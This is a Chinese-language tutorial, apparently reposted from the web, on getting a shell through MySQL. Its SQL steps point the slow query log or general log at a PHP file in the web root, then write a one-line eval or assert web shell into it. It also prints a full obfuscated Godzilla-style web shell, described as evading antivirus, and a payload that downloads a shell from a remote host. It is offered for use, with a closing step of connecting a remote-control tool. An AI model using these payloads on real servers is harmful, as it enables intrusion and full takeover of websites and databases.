使用show variables like ‘%log%‘及show variables like ‘%secure%‘查看相应的日志模块和安全防御模块的开启情况,并且了解网站目录的相应的路径情况。
方法一:
使用慢查询日志,写入shell
执行下面3步sql语句:
set global slow_query_log= 1 ; // 开启慢查询日志,可以绕过secure_priv的限制,而非直接select info outfile set global slow_query_log_file= ‘ D:\WWW\log.php ‘ ; // 更改日志存放位置,并且将后缀名改成可执行的php文件,需要根据实际情况来确定WWW的位置 select " <?php @eval($_POST[‘cmd‘])?> " or sleep( 11 ); // 执行select语句,在日志中存入一句话木马,并且sleep11s,以便存入慢查询日志中去。
方法二:
使用general_log,写入shell
执行下面3步sql语句:
set global general_log= ‘ on ‘ ; SET global general_log_file= ‘ D:/xxxx/WWW/cmd.php ‘ ; SELECT ‘ <?php assert($_POST["cmd"]);?> ‘ ;
注:shell的格式可以自行选取,可以使用具有免杀效果的shell,比如哥斯拉的shell,可在哥斯拉处直接生成相应的shell:
<? php
session_start();
@set_time_limit( 0 );
@error_reporting( 0 );
function E($D,$K){
for ($i= 0 ;$i<strlen($D);$i++ ) {
$D[$i] = $D[$i]^$K[$i+ 1 & 15 ];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P = ‘ pass ‘ ;
$V = ‘ payload ‘ ;
$T = ‘ 3c6e0b8a9c15224a ‘ ;
if (isset($_POST[$P])){
$F = O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L = $_SESSION[$V];
$A =explode( ‘ | ‘ ,$L);
class C{ public function nvoke($p) {eval($p. "" );}}
$R = new C();
$R ->nvoke($A[ 0 ]);
echo substr(md5($P.$T), 0 , 16 );
echo Q(E(@run($F),$T));
echo substr(md5($P.$T), 16 );
} else {
$_SESSION[$V] = $F;
}
}
方法三:
向日志中,写入JavaScript脚本,下载远端服务器的shell文件到本地,并本地创建shell.php文件
执行下面sql语句:
SET global general_log_file= ‘ C:/xxx/xxx/shell.php ‘ ;
SELECT ‘ <script language="php"> $a="http://x.x.x.x/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script> ‘
最后记得访问一下相应的11.php,生成shell.php文件
最后使用相应的远控工具连接,即可!
从数据库方向getshell方法总结
标签:fun lob str class sele xxxx iss 安全 gets
查看更多关于从数据库方向getshell方法总结的详细内容...
声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://www.haodehen.cn/did117711